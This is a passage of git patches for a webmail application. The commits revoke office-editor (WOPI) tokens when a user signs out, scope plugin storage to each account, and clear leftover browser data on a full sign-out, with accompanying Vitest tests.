from 'next/headers'; import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { configManager } from '@/lib/admin/config-manager'; @@ -7,6 +8,7 @@ import { fetchJmapSession } from '@/lib/stalwart/jmap-api'; import { getWopiActions, buildWopiActionUrl } from '@/lib/wopi/discovery'; import { getWopiFileNode, probeBlob } from '@/lib/wopi/files'; import { mintWopiToken, wopiDocumentId, type WopiTokenPayload } from '@/lib/wopi/token'; +import { wopiBrowserBinding } from '@/lib/wopi/revocation'; /** * POST /api/wopi/launch @@ -114,6 +116,9 @@ export async function POST(request: NextRequest) { ...document, canWrite: editable, origin: request.nextUrl.origin, + // Signing out of this slot in this browser revokes the token. + bid: wopiBrowserBinding(await cookies()), + slot: creds.slot, }; const wopiSrc = `${hostBase}/api/wopi/files/${wopiDocumentId(tokenPayload)}`; const { token, expiresAt } = mintWopiToken(tokenPayload); diff --git a/lib/__tests__/wopi-attachment-routes.test.ts b/lib/__tests__/wopi-attachment-routes.test.ts index 4fb17646a..6c4cf9e36 100644 --- a/lib/__tests__/wopi-attachment-routes.test.ts +++ b/lib/__tests__/wopi-attachment-routes.test.ts @@ -1,4 +1,7 @@ // @vitest-environment node +import { mkdtempSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest'; // #1047: mail attachments open read-only in the WOPI editor. The launch route @@ -13,6 +16,14 @@ vi.mock('@/lib/logger', () => ({ logger: { warn: () => {}, error: () => {}, info: () => {}, debug: () => {} }, })); vi.mock('@/lib/stalwart/credentials', () => ({ getStalwartCredentials: vi.fn() })); +const jar = new Map(); +vi.mock('next/headers', () => ({ + cookies: async () => ({ + get: (name: string) => (jar.has(name) ? { name, value: jar.get(name)! } : undefined), + set: (name: string, value: string) => void jar.set(name, value), + delete: (name: string) => void jar.delete(name), + }), +})); vi.mock('@/lib/admin/config-manager', () => ({ configManager: { get: (_key: string, fallback: unknown) => fallback, ensureLoaded: async () => {} }, })); @@ -37,6 +48,11 @@ import { getStalwartCredentials } from '@/lib/stalwart/credentials'; import { getWopiActions } from '@/lib/wopi/discovery'; import { fetchJmapServer } from '@/lib/stalwart/server-fetch'; import { fetchJmapSession, postJmap } from '@/lib/stalwart/jmap-api'; +import { cookies } from 'next/headers'; +import { revokeWopiTokens } from '@/lib/wopi/revocation'; + +// Revocations are kept in the state directory. +process.env.ADMIN_STATE_DIR = mkdtempSync(path.join(tmpdir(), 'bw-wopi-')); const ORIGIN = 'https://webmail.example.com'; const OFFICE = 'https://office.example.com/browser/abc/cool.html?'; @@ -194,3 +210,53 @@ describe('WOPI calls for an attachment token', () => { } }); }); + +// The token carries the user's credentials to the editor server; it used to +// keep working for six hours after the user signed out. +describe('WOPI tokens after signing out', () => { + beforeEach(() => jar.clear()); + + async function open() { + const { data } = await launchAttachment({ blobId: 'Gblob1', name: 'Quote.docx', type: DOCX }); + const { documentId, token } = editorCall(data); + return () => checkFileInfo(request(`/api/wopi/files/${documentId}?${token}`), params(documentId)); + } + + it('refuses a token once its slot signed out in that browser', async () => { + const call = await open(); + expect((await call()).status).toBe(200); + await new Promise((r) => setTimeout(r, 2)); + + await revokeWopiTokens(await cookies(), 0); + expect((await call()).status).toBe(401); + }); + + it('keeps tokens of other slots, and tokens minted after signing in again', async () => { + const call = await open(); + await revokeWopiTokens(await cookies(), 1); + expect((await call()).status).toBe(200); + + await new Promise((r) => setTimeout(r, 2)); + await revokeWopiTokens(await cookies(), 0); + await new Promise((r) => setTimeout(r, 2)); + const again = await open(); + expect((await again()).status).toBe(200); + }); + + it('a full sign-out refuses every slot and forgets the browser id', async () => { + const call = await open(); + await new Promise((r) => setTimeout(r, 2)); + await revokeWopiTokens(await cookies(), 'all'); + expect((await call()).status).toBe(401); + expect(jar.has('bulwark_wopi')).toBe(false); + }); + + it('signing out on another browser leaves this one alone', async () => { + const call = await open(); + const mine = jar.get('bulwark_wopi')!; + jar.set('bulwark_wopi', 'another-browser'); + await revokeWopiTokens(await cookies(), 'all'); + jar.set('bulwark_wopi', mine); + expect((await call()).status).toBe(200); + }); +}); diff --git a/lib/wopi/request.ts b/lib/wopi/request.ts index 16a855d8a..5168a9456 100644 --- a/lib/wopi/request.ts +++ b/lib/wopi/request.ts @@ -2,6 +2,7 @@ import type { NextRequest } from 'next/server'; import { isTrustedJmapServerUrl } from '@/lib/stalwart/server-fetch'; import type { WopiJmapContext } from '@/lib/wopi/files'; import { verifyWopiToken, type WopiTokenPayload } from '@/lib/wopi/token'; +import { isWopiTokenRevoked } from '@/lib/wopi/revocation'; /** * Authenticate an incoming WOPI request (called by the editor @@ -14,6 +15,8 @@ export async function wopiContext( ): Promise<{ payload: WopiTokenPayload; ctx: WopiJmapContext } | null> { const payload = verifyWopiToken(request.nextUrl.searchParams.get('access_token'), documentId); if (!payload) return null; + // Signed out since the editor was opened. + if (await isWopiTokenRevoked(payload)) return null; // Trust is re-derived from the current config, not persisted in the token // (mirrors lib/stalwart/server-fetch.ts): removing a server from the config // immediately drops its tokens to the rebinding-safe fetch path. A server on diff --git a/lib/wopi/revocation.ts b/lib/wopi/revocation.ts new file mode 100644 index 000000000..7c64ae5da --- /dev/null +++ b/lib/wopi/revocation.ts @@ -0,0 +1,117 @@ +import { createHash, randomBytes } from 'node:crypto'; +import { readFile, rename, stat, writeFile } from 'node:fs/promises'; +import type { cookies } from 'next/headers'; +import { ensureStateDir, getStatePath } from '@/lib/admin/paths'; +import { logger } from '@/lib/logger'; +import { getCookieOptions } from '@/lib/oauth/cookie-config'; +import { WOPI_TOKEN_TTL_MS, type WopiTokenPayload } from '@/lib/wopi/token'; + +/** + * Signing out ends the office editor sessions opened from that browser. + * + * A WOPI token is handed to the editor server and carries the user's + * credentials, so it used to stay usable for its whole six-hour lifetime + * after the user signed out. Each token now records which browser minted it + * (a random id in an HttpOnly cookie, hashed) and for which account slot; + * signing out records a revocation time for that browser and slot, and any + * token minted before it is refused. Signing out on another device does not + * touch this browser's editors. + * + * Revocations are kept in the state directory so they survive a restart and + * reach every replica sharing the state volume; each one is dropped once + * every token it could refuse has expired anyway. + */ + +type CookieStore = Awaited>; + +export const WOPI_BROWSER_COOKIE = 'bulwark_wopi'; +const REVOCATIONS_FILE = 'wopi-revocations.json'; + +function browserBinding(browserId: string): string { + return createHash('sha256').update(browserId).digest('base64url').slice(0, 22); +} + +/** This browser's binding for new tokens, creating its cookie on first use. */ +export function wopiBrowserBinding(cookieStore: CookieStore): string { + let id = cookieStore.get(WOPI_BROWSER_COOKIE)?.value; + if (!id) { + id = randomBytes(16).toString('base64url'); + cookieStore.set(WOPI_BROWSER_COOKIE, id, getCookieOptions()); + } + return browserBinding(id); +} + +let revocations = new Map(); +let loadedMtimeMs: number | null = null; + +async function reload(): Promise { + const path = getStatePath(REVOCATIONS_FILE); + let mtimeMs: number; + try { + mtimeMs = (await stat(path)).mtimeMs; + } catch { + return; // Nothing revoked yet (or unreadable): keep what memory has. + } + if (mtimeMs === loadedMtimeMs) return; + try { + const parsed = JSON.parse(await readFile(path, 'utf-8')) as Record; + const next = new Map(); + for (const [key, at] of Object.entries(parsed)) { + if (typeof at === 'number') next.set(key, Math.max(at, revocations.get(key) ?? 0)); + } + for (const [key, at] of revocations) if (!next.has(key)) next.set(key, at); + revocations = next; + loadedMtimeMs = mtimeMs; + } catch (error) { + logger.warn('Could not read WOPI revocations', { + error: error instanceof Error ? error.message : 'Unknown error', + }); + } +} + +/** + * Refuse every token this browser minted for `slot` (or for every slot) + * until now. Call before the browser's cookies are cleared. + */ +export async function revokeWopiTokens( + cookieStore: CookieStore, + slot: number | 'all', + nowMs: number = Date.now(), +): Promise { + const id = cookieStore.get(WOPI_BROWSER_COOKIE)?.value; + if (!id) return; // This browser never opened an editor. + if (slot === 'all') cookieStore.delete(WOPI_BROWSER_COOKIE); + + await reload(); + revocations.set(`${browserBinding(id)}:${slot}`, nowMs); + for (const [key, at] of revocations) { + if (nowMs - at > WOPI_TOKEN_TTL_MS) revocations.delete(key); + } + + try { + await ensureStateDir(); + const path = getStatePath(REVOCATIONS_FILE); + const tmp = `${path}.${process.pid}.tmp`; + await writeFile(tmp, JSON.stringify(Object.fromEntries(revocations)), 'utf-8'); + await rename(tmp, path); + loadedMtimeMs = (await stat(path)).mtimeMs; + } catch (error) { + // Still refused by this process until it restarts. + logger.warn('Could not persist WOPI revocation', { + error: error instanceof Error ? error.message : 'Unknown error', + }); + } +} + +/** Whether signing out has revoked this token since it was minted. */ +export async function isWopiTokenRevoked(payload: WopiTokenPayload): Promise { + // Tokens minted before tokens were bound to a browser simply expire. + if (!payload.bid || typeof payload.slot !== 'number') return false; + await reload(); + const mintedAt = payload.exp - WOPI_TOKEN_TTL_MS; + const revokedAt = Math.max( + revocations.get(`${payload.bid}:all`) ?? -Infinity, + revocations.get(`${payload.bid}:${payload.slot}`) ?? -Infinity, + ); + return revokedAt >= mintedAt; +} diff --git a/lib/wopi/token.ts b/lib/wopi/token.ts index 721dc71b7..915537bda 100644 --- a/lib/wopi/token.ts +++ b/lib/wopi/token.ts @@ -35,6 +35,12 @@ export interface WopiTokenPayload { canWrite: boolean; /** Browser origin that embeds the editor iframe (WOPI PostMessageOrigin). */ origin: string; + /** + * The browser and account slot that minted the token, so signing out + * there revokes it (see lib/wopi/revocation.ts). Absent on older tokens. + */ + bid?: string; + slot?: number; /** Expiry, ms since epoch. */ exp: number; } @@ -96,6 +102,8 @@ export function verifyWopiToken(token: string | null, documentId: string): WopiT typeof p.exp !== 'number' ) return null; if (p.kind !== undefined && p.kind !== 'file' && p.kind !== 'attachment') return null; + if (p.bid !== undefined && typeof p.bid !== 'string') return null; + if (p.slot !== undefined && typeof p.slot !== 'number') return null; if (wopiDocumentId(p) !== documentId) return null; if (Date.now() > p.exp) return null; return p; From 0040e5daca26fb860f8c6f4aba24b05115eb8e1e Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:47:29 +0200 Subject: [PATCH 079/358] fix: keep plugin storage per account and delete it on sign-out `api.storage` kept one `plugin::` namespace for everyone signed in to the browser and left it behind after signing out, so a plugin read what it had stored for the previous account, such as quick-notes' notes on someone else's mail. Keys now carry the account (`plugin::@:`). Signing an account out or removing it deletes its keys, and a full sign-out deletes all plugin storage. Keys written before this change are handed to the first account that uses the plugin. Uninstalling a plugin still removes everything under its prefix. --- lib/__tests__/plugin-storage-scope.test.ts | 57 +++++++++++++++ lib/plugin-sandbox/host-api.ts | 17 +++-- lib/plugin-sandbox/storage-scope.ts | 83 ++++++++++++++++++++++ stores/auth-store.ts | 4 ++ 4 files changed, 156 insertions(+), 5 deletions(-) create mode 100644 lib/__tests__/plugin-storage-scope.test.ts create mode 100644 lib/plugin-sandbox/storage-scope.ts diff --git a/lib/__tests__/plugin-storage-scope.test.ts b/lib/__tests__/plugin-storage-scope.test.ts new file mode 100644 index 000000000..77905fd54 --- /dev/null +++ b/lib/__tests__/plugin-storage-scope.test.ts @@ -0,0 +1,57 @@ +import { beforeEach, describe, expect, it } from 'vitest'; +import { + claimLegacyPluginStorage, + clearAllPluginStorage, + clearPluginStorageForAccount, + pluginStoragePrefix, +} from '@/lib/plugin-sandbox/storage-scope'; + +// api.storage was shared by every account signed in to the browser and +// survived signing out, so a plugin read the previous account's data. + +const ALICE = 'alice@mail.example'; +const BOB = 'bob@mail.example'; + +function keys(): string[] { + return Object.keys(localStorage).sort(); +} + +beforeEach(() => { + localStorage.clear(); + clearAllPluginStorage(); // also forgets which plugins claimed legacy keys +}); + +describe('plugin storage scope', () => { + it('gives each account its own namespace under the plugin prefix', () => { + expect(pluginStoragePrefix('quick-notes', ALICE)).toBe('plugin:quick-notes:@alice%40mail.example:'); + expect(pluginStoragePrefix('quick-notes', ALICE)).not.toBe(pluginStoragePrefix('quick-notes', BOB)); + }); + + it('hands pre-existing keys to the first account that uses the plugin', () => { + localStorage.setItem('plugin:quick-notes:notes', '{"m1":"hi"}'); + claimLegacyPluginStorage('quick-notes', ALICE); + expect(keys()).toEqual(['plugin:quick-notes:@alice%40mail.example:notes']); + + claimLegacyPluginStorage('quick-notes', BOB); + expect(localStorage.getItem(`${pluginStoragePrefix('quick-notes', BOB)}notes`)).toBeNull(); + }); + + it('signing one account out deletes only its keys', () => { + localStorage.setItem(`${pluginStoragePrefix('quick-notes', ALICE)}notes`, '1'); + localStorage.setItem(`${pluginStoragePrefix('auto-tag', ALICE)}totalTagged`, '2'); + localStorage.setItem(`${pluginStoragePrefix('quick-notes', BOB)}notes`, '3'); + localStorage.setItem('settings-storage', '{}'); + + clearPluginStorageForAccount(ALICE); + expect(keys()).toEqual(['plugin:quick-notes:@bob%40mail.example:notes', 'settings-storage']); + }); + + it('a full sign-out deletes all plugin storage, including unclaimed legacy keys', () => { + localStorage.setItem(`${pluginStoragePrefix('quick-notes', BOB)}notes`, '3'); + localStorage.setItem('plugin:auto-tag:totalTagged', '4'); + localStorage.setItem('settings-storage', '{}'); + + clearAllPluginStorage(); + expect(keys()).toEqual(['settings-storage']); + }); +}); diff --git a/lib/plugin-sandbox/host-api.ts b/lib/plugin-sandbox/host-api.ts index 95eed473e..64d6e4ae4 100644 --- a/lib/plugin-sandbox/host-api.ts +++ b/lib/plugin-sandbox/host-api.ts @@ -7,6 +7,7 @@ import { pluginHasPermission } from './permissions'; import { toast as appToast } from '@/stores/toast-store'; import { useAuthStore } from '@/stores/auth-store'; import { useAccountStore } from '@/stores/account-store'; +import { claimLegacyPluginStorage, pluginStoragePrefix } from './storage-scope'; import { useIdentityStore } from '@/stores/identity-store'; import { useEmailStore } from '@/stores/email-store'; import { useFilterStore } from '@/stores/filter-store'; @@ -192,25 +193,31 @@ function originMatchesAllowlist(url: URL, allowlist: string[]): boolean { // ─── Per-plugin storage namespace ───────────────────────────── -const STORAGE_PREFIX = (pluginId: string) => `plugin:${pluginId}:`; +/** The signed-in account's namespace; see storage-scope.ts. */ +function storagePrefix(pluginId: string): string { + const accountId = useAccountStore.getState().activeAccountId; + if (!accountId) return pluginStoragePrefix(pluginId, 'signed-out'); + claimLegacyPluginStorage(pluginId, accountId); + return pluginStoragePrefix(pluginId, accountId); +} function storageGet(pluginId: string, key: string): unknown { if (typeof window === 'undefined') return null; - const raw = window.localStorage.getItem(STORAGE_PREFIX(pluginId) + key); + const raw = window.localStorage.getItem(storagePrefix(pluginId) + key); if (raw === null) return null; try { return JSON.parse(raw); } catch { return null; } } function storageSet(pluginId: string, key: string, value: unknown): void { if (typeof window === 'undefined') return; - window.localStorage.setItem(STORAGE_PREFIX(pluginId) + key, JSON.stringify(value)); + window.localStorage.setItem(storagePrefix(pluginId) + key, JSON.stringify(value)); } function storageRemove(pluginId: string, key: string): void { if (typeof window === 'undefined') return; - window.localStorage.removeItem(STORAGE_PREFIX(pluginId) + key); + window.localStorage.removeItem(storagePrefix(pluginId) + key); } function storageKeys(pluginId: string): string[] { if (typeof window === 'undefined') return []; - const prefix = STORAGE_PREFIX(pluginId); + const prefix = storagePrefix(pluginId); const out: string[] = []; for (let i = 0; i < window.localStorage.length; i++) { const k = window.localStorage.key(i); diff --git a/lib/plugin-sandbox/storage-scope.ts b/lib/plugin-sandbox/storage-scope.ts new file mode 100644 index 000000000..ca92b8b42 --- /dev/null +++ b/lib/plugin-sandbox/storage-scope.ts @@ -0,0 +1,83 @@ +/** + * Plugin storage (`api.storage`) is kept per account. + * + * It used to live under `plugin::` for everyone signed in to + * this browser, and stayed after signing out: a plugin running for the next + * account (or the next person on a shared computer) read what it stored for + * the previous one, e.g. quick-notes' notes on someone else's mail. Keys are + * now `plugin::@:`, and signing an account out + * deletes its keys. Everything stays under `plugin::`, so + * uninstalling a plugin still removes all of it. + * + * Deliberately free of store imports: the auth store calls into it. + */ + +const PLUGIN_PREFIX = 'plugin:'; + +function accountTag(accountId: string): string { + return `@${encodeURIComponent(accountId)}:`; +} + +/** Prefix of one plugin's keys for one account. */ +export function pluginStoragePrefix(pluginId: string, accountId: string): string { + return `${PLUGIN_PREFIX}${pluginId}:${accountTag(accountId)}`; +} + +function removeKeys(match: (key: string) => boolean): void { + if (typeof window === 'undefined') return; + try { + const doomed: string[] = []; + for (let i = 0; i < window.localStorage.length; i++) { + const key = window.localStorage.key(i); + if (key && match(key)) doomed.push(key); + } + for (const key of doomed) window.localStorage.removeItem(key); + } catch { + // Storage unavailable: nothing was kept. + } +} + +const claimed = new Set(); + +/** + * Hand keys written before storage was per account to the first account + * that uses the plugin, once per page load. + */ +export function claimLegacyPluginStorage(pluginId: string, accountId: string): void { + if (typeof window === 'undefined' || claimed.has(pluginId)) return; + claimed.add(pluginId); + const legacy = `${PLUGIN_PREFIX}${pluginId}:`; + const scoped = pluginStoragePrefix(pluginId, accountId); + try { + const moves: [string, string][] = []; + for (let i = 0; i < window.localStorage.length; i++) { + const key = window.localStorage.key(i); + if (key?.startsWith(legacy) && !key.startsWith(`${legacy}@`)) { + moves.push([key, scoped + key.slice(legacy.length)]); + } + } + for (const [from, to] of moves) { + const value = window.localStorage.getItem(from); + if (value !== null && window.localStorage.getItem(to) === null) window.localStorage.setItem(to, value); + window.localStorage.removeItem(from); + } + } catch { + // Storage unavailable. + } +} + +/** Delete what every plugin stored for this account. */ +export function clearPluginStorageForAccount(accountId: string): void { + const tag = accountTag(accountId); + removeKeys((key) => { + if (!key.startsWith(PLUGIN_PREFIX)) return false; + const idEnd = key.indexOf(':', PLUGIN_PREFIX.length); + return idEnd > 0 && key.startsWith(tag, idEnd + 1); + }); +} + +/** Delete all plugin storage: nobody is signed in any more. */ +export function clearAllPluginStorage(): void { + removeKeys((key) => key.startsWith(PLUGIN_PREFIX)); + claimed.clear(); +} diff --git a/stores/auth-store.ts b/stores/auth-store.ts index dd2f70e78..67eebb890 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -18,6 +18,7 @@ import { generateAccountId, MAX_ACCOUNT_SLOTS } from '@/lib/account-utils'; import { replaceWindowLocation, getPathPrefix, getLocaleFromPath, apiFetch } from '@/lib/browser-navigation'; import { isEmbedded, notifyParent } from '@/lib/iframe-bridge'; import { snapshotAccount, restoreAccount, clearAllStores, evictAccount, evictAll } from '@/lib/account-state-manager'; +import { clearAllPluginStorage, clearPluginStorageForAccount } from '@/lib/plugin-sandbox/storage-scope'; import type { Identity } from '@/lib/jmap/types'; import { authHooks } from '@/lib/plugin-hooks'; import { IS_LITE, IS_LITE_STALWART } from '@/lib/lite'; @@ -1169,6 +1170,7 @@ function performFullLogout(set: (state: Partial) => void): void { // Calendar subscriptions outlive account switches, but their feed URLs are // often secret: nobody is signed in any more, so none may stay behind. useCalendarStore.getState().clearICalSubscriptions(); + clearAllPluginStorage(); // Remove persisted state AFTER the final set() so the persist middleware // doesn't re-write stale values. @@ -1906,6 +1908,7 @@ export const useAuthStore = create()( clients.delete(accountId); evictAccount(accountId); accountStore.removeAccount(accountId); + if (!wasDemoMode) clearPluginStorageForAccount(accountId); } await useSettingsStore.getState().flushSync(); @@ -2024,6 +2027,7 @@ export const useAuthStore = create()( clients.delete(accountId); evictAccount(accountId); accountStore.removeAccount(accountId); + clearPluginStorageForAccount(accountId); }, logoutAll: async () => { From 47342e9e08eb914869c88a2189205a3b4bfbb041 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:55:34 +0200 Subject: [PATCH 080/358] fix: clear the accounts' leftovers when everyone signs out A full sign-out emptied the stores but left the accounts' traces in the browser for the next person at the computer: search history, open tabs with message subjects, Files favourites and recent files, calendar alert acknowledgements, and attachment bytes a plugin had staged for an upload that never started. Other open tabs kept showing the signed-out accounts' mail, and the boot snapshot of the mailbox list was restored for whichever account happened to be active next. - A full sign-out now removes those keys and the staged files, and tells the other tabs through a `storage` event so they leave for the login page. - The boot snapshot names its account and is only restored for it. - The login form only remembers the username for suggestions when the user did not decline "remember me". Device preferences and `template-storage` stay: with settings sync off they exist only on this browser. --- app/(main)/[locale]/login/page.tsx | 4 +- lib/__tests__/sign-out-cleanup.test.ts | 53 ++++++++++++++++ lib/plugin-storage.ts | 20 ++++++ lib/sign-out-cleanup.ts | 63 +++++++++++++++++++ .../__tests__/email-snapshot-account.test.ts | 39 ++++++++++++ stores/auth-store.ts | 16 +++++ stores/email-store.ts | 30 +++++++-- 7 files changed, 219 insertions(+), 6 deletions(-) create mode 100644 lib/__tests__/sign-out-cleanup.test.ts create mode 100644 lib/sign-out-cleanup.ts create mode 100644 stores/__tests__/email-snapshot-account.test.ts diff --git a/app/(main)/[locale]/login/page.tsx b/app/(main)/[locale]/login/page.tsx index 810e46e4c..1546e80c0 100644 --- a/app/(main)/[locale]/login/page.tsx +++ b/app/(main)/[locale]/login/page.tsx @@ -808,7 +808,9 @@ function LoginPageContent() { ); if (success) { - saveUsername(formData.username); + // Suggested again on this browser only when the user did not decline + // being remembered: on a shared computer the next person sees the list. + if (!rememberMeEnabled || rememberMe) saveUsername(formData.username); if (isMobileHandoff) { // The isAuthenticated effect handles the redirect; nothing else to // do here. Don't push to / - that would race the deep link. diff --git a/lib/__tests__/sign-out-cleanup.test.ts b/lib/__tests__/sign-out-cleanup.test.ts new file mode 100644 index 000000000..85c866033 --- /dev/null +++ b/lib/__tests__/sign-out-cleanup.test.ts @@ -0,0 +1,53 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +vi.mock('@/lib/plugin-storage', () => ({ + fileStorage: { clearFiles: vi.fn(async () => {}) }, +})); + +import { fileStorage } from '@/lib/plugin-storage'; +import { broadcastSignOut, onSignedOutElsewhere, purgeSignedOutData } from '@/lib/sign-out-cleanup'; + +// A full sign-out left search history, open tabs (with subjects), Files +// favourites and staged attachment bytes behind for the next person at the +// computer, and other tabs kept showing the signed-out accounts' mail. + +beforeEach(() => localStorage.clear()); + +describe('purgeSignedOutData', () => { + it("removes the accounts' leftovers and keeps device preferences", () => { + for (const key of [ + 'email-snapshot', 'pro-tabs', 'search-history-storage', 'calendar-storage', + 'files-favorites', 'files-recent-files', 'files-path-stack', + 'settings-storage', 'theme-storage', 'locale-storage', 'template-storage', 'files-view-mode', + ]) localStorage.setItem(key, 'x'); + + purgeSignedOutData(); + + expect(Object.keys(localStorage).sort()).toEqual([ + 'files-view-mode', 'locale-storage', 'settings-storage', 'template-storage', 'theme-storage', + ]); + expect(fileStorage.clearFiles).toHaveBeenCalled(); + }); +}); + +describe('cross-tab sign-out', () => { + let stop: (() => void) | null = null; + afterEach(() => stop?.()); + + it('reaches listeners through a storage event and leaves no key behind', () => { + const seen = vi.fn(); + stop = onSignedOutElsewhere(seen); + + const setItem = vi.spyOn(Storage.prototype, 'setItem'); + broadcastSignOut(); + const [key, value] = setItem.mock.calls[0]; + setItem.mockRestore(); + expect(localStorage.getItem(key)).toBeNull(); + + // What another tab receives. + window.dispatchEvent(new StorageEvent('storage', { key, newValue: value })); + window.dispatchEvent(new StorageEvent('storage', { key, newValue: null })); + window.dispatchEvent(new StorageEvent('storage', { key: 'settings-storage', newValue: '{}' })); + expect(seen).toHaveBeenCalledTimes(1); + }); +}); diff --git a/lib/plugin-storage.ts b/lib/plugin-storage.ts index 5ce4b5dd5..4d75af115 100644 --- a/lib/plugin-storage.ts +++ b/lib/plugin-storage.ts @@ -96,6 +96,22 @@ async function deleteItem(storeName: string, key: string): Promise { }); } +async function clearItems(storeName: string): Promise { + const db = await openDB(); + return new Promise((resolve, reject) => { + const tx = db.transaction(storeName, 'readwrite'); + tx.objectStore(storeName).clear(); + tx.oncomplete = () => { + db.close(); + resolve(); + }; + tx.onerror = () => { + db.close(); + reject(tx.error); + }; + }); +} + // ─── Public API ────────────────────────────────────────────── export const pluginStorage = { @@ -159,4 +175,8 @@ export const fileStorage = { async deleteFile(fileId: string): Promise { await deleteItem(STORE_FILE_ACCESS_PLUGIN, fileId); }, + /** Drop every staged file, e.g. on sign-out. */ + async clearFiles(): Promise { + await clearItems(STORE_FILE_ACCESS_PLUGIN); + }, } \ No newline at end of file diff --git a/lib/sign-out-cleanup.ts b/lib/sign-out-cleanup.ts new file mode 100644 index 000000000..6c70a84b7 --- /dev/null +++ b/lib/sign-out-cleanup.ts @@ -0,0 +1,63 @@ +import { fileStorage } from '@/lib/plugin-storage'; + +/** + * What a full sign-out removes from this browser beyond the stores that + * clearAllStores() empties: once nobody is signed in, nothing the accounts + * produced may be left for the next person at this computer. + * + * Kept on purpose: device preferences (`settings-storage`, `theme-storage`, + * `locale-storage`, the Files view settings) and `template-storage`. With + * settings sync off they exist only here, so deleting them would destroy + * the user's own work rather than a cache. + */ +const SIGNED_OUT_STORAGE_KEYS = [ + 'email-snapshot', + 'identity-storage', + 'contact-storage', + 'calendar-storage', + 'calendar-notification-storage', + // Open tabs name messages and their subjects. + 'pro-tabs', + 'search-history-storage', + 'files-favorites', + 'files-recent-files', + 'files-last-parent-id', + 'files-path-stack', +]; + +const SIGNED_OUT_SIGNAL = 'bulwark:signed-out'; + +/** Remove the accounts' leftovers from browser storage. */ +export function purgeSignedOutData(): void { + if (typeof window === 'undefined') return; + for (const key of SIGNED_OUT_STORAGE_KEYS) { + try { + window.localStorage.removeItem(key); + } catch { + /* storage unavailable */ + } + } + // Attachment bytes a plugin staged for an upload that never started. + void fileStorage.clearFiles().catch(() => {}); +} + +/** Tell the other tabs of this browser that everyone signed out. */ +export function broadcastSignOut(): void { + if (typeof window === 'undefined') return; + try { + // Other tabs see the write as a `storage` event; the key need not stay. + window.localStorage.setItem(SIGNED_OUT_SIGNAL, String(Date.now())); + window.localStorage.removeItem(SIGNED_OUT_SIGNAL); + } catch { + /* storage unavailable */ + } +} + +/** Run `onSignedOut` when another tab signs everyone out. */ +export function onSignedOutElsewhere(onSignedOut: () => void): () => void { + const listener = (event: StorageEvent) => { + if (event.key === SIGNED_OUT_SIGNAL && event.newValue !== null) onSignedOut(); + }; + window.addEventListener('storage', listener); + return () => window.removeEventListener('storage', listener); +} diff --git a/stores/__tests__/email-snapshot-account.test.ts b/stores/__tests__/email-snapshot-account.test.ts new file mode 100644 index 000000000..58b62b1cd --- /dev/null +++ b/stores/__tests__/email-snapshot-account.test.ts @@ -0,0 +1,39 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +// The boot snapshot of the mailbox list was not tied to an account: it was +// restored for whichever account the last session had active. + +const MAILBOXES = [{ id: 'inbox', name: 'Inbox', role: 'inbox' }]; + +function persistSession(activeAccountId: string) { + localStorage.setItem('auth-storage', JSON.stringify({ state: { isAuthenticated: true, activeAccountId } })); +} + +async function bootMailboxes() { + vi.resetModules(); + const { useEmailStore } = await import('@/stores/email-store'); + return useEmailStore.getState().mailboxes; +} + +beforeEach(() => localStorage.clear()); + +// Each case imports the whole email store afresh, slow under a full parallel run. +describe('email boot snapshot', { timeout: 30_000 }, () => { + it('is restored for the account it was taken from', async () => { + persistSession('alice@mail.example'); + localStorage.setItem('email-snapshot', JSON.stringify({ v: 3, account: 'alice@mail.example', mailboxes: MAILBOXES })); + expect(await bootMailboxes()).toHaveLength(1); + }); + + it('is ignored for another account', async () => { + persistSession('bob@mail.example'); + localStorage.setItem('email-snapshot', JSON.stringify({ v: 3, account: 'alice@mail.example', mailboxes: MAILBOXES })); + expect(await bootMailboxes()).toHaveLength(0); + }); + + it('discards snapshots that name no account', async () => { + persistSession('alice@mail.example'); + localStorage.setItem('email-snapshot', JSON.stringify({ v: 2, mailboxes: MAILBOXES })); + expect(await bootMailboxes()).toHaveLength(0); + }); +}); diff --git a/stores/auth-store.ts b/stores/auth-store.ts index 67eebb890..6dbec0003 100644 --- a/stores/auth-store.ts +++ b/stores/auth-store.ts @@ -19,6 +19,9 @@ import { replaceWindowLocation, getPathPrefix, getLocaleFromPath, apiFetch } fro import { isEmbedded, notifyParent } from '@/lib/iframe-bridge'; import { snapshotAccount, restoreAccount, clearAllStores, evictAccount, evictAll } from '@/lib/account-state-manager'; import { clearAllPluginStorage, clearPluginStorageForAccount } from '@/lib/plugin-sandbox/storage-scope'; +import { broadcastSignOut, onSignedOutElsewhere, purgeSignedOutData } from '@/lib/sign-out-cleanup'; +import { useSearchHistoryStore } from './search-history-store'; +import { useCalendarNotificationStore } from './calendar-notification-store'; import type { Identity } from '@/lib/jmap/types'; import { authHooks } from '@/lib/plugin-hooks'; import { IS_LITE, IS_LITE_STALWART } from '@/lib/lite'; @@ -1170,12 +1173,17 @@ function performFullLogout(set: (state: Partial) => void): void { // Calendar subscriptions outlive account switches, but their feed URLs are // often secret: nobody is signed in any more, so none may stay behind. useCalendarStore.getState().clearICalSubscriptions(); + useSearchHistoryStore.getState().clearRecentSearches(); + useCalendarNotificationStore.getState().clearAll(); clearAllPluginStorage(); // Remove persisted state AFTER the final set() so the persist middleware // doesn't re-write stale values. try { localStorage.removeItem('auth-storage'); } catch { /* noop */ } try { localStorage.removeItem('account-registry'); } catch { /* noop */ } + purgeSignedOutData(); + // Other tabs still hold the accounts' mail in memory. + broadcastSignOut(); } export const useAuthStore = create()( @@ -2806,3 +2814,11 @@ export const useAuthStore = create()( // Expose getClientForAccount to the calendar/contact stores via a small // shared registry - see [[stores/client-registry]] for rationale. setClientLookup((accountId) => useAuthStore.getState().getClientForAccount(accountId)); + +// Another tab signed everyone out: this one's cookies and account list are +// gone too, so leave for the login page instead of showing stale mail. +if (typeof window !== 'undefined') { + onSignedOutElsewhere(() => { + if (useAuthStore.getState().isAuthenticated) navigateToLogin(); + }); +} diff --git a/stores/email-store.ts b/stores/email-store.ts index 7c9cc40a3..8e5711d6f 100644 --- a/stores/email-store.ts +++ b/stores/email-store.ts @@ -5456,20 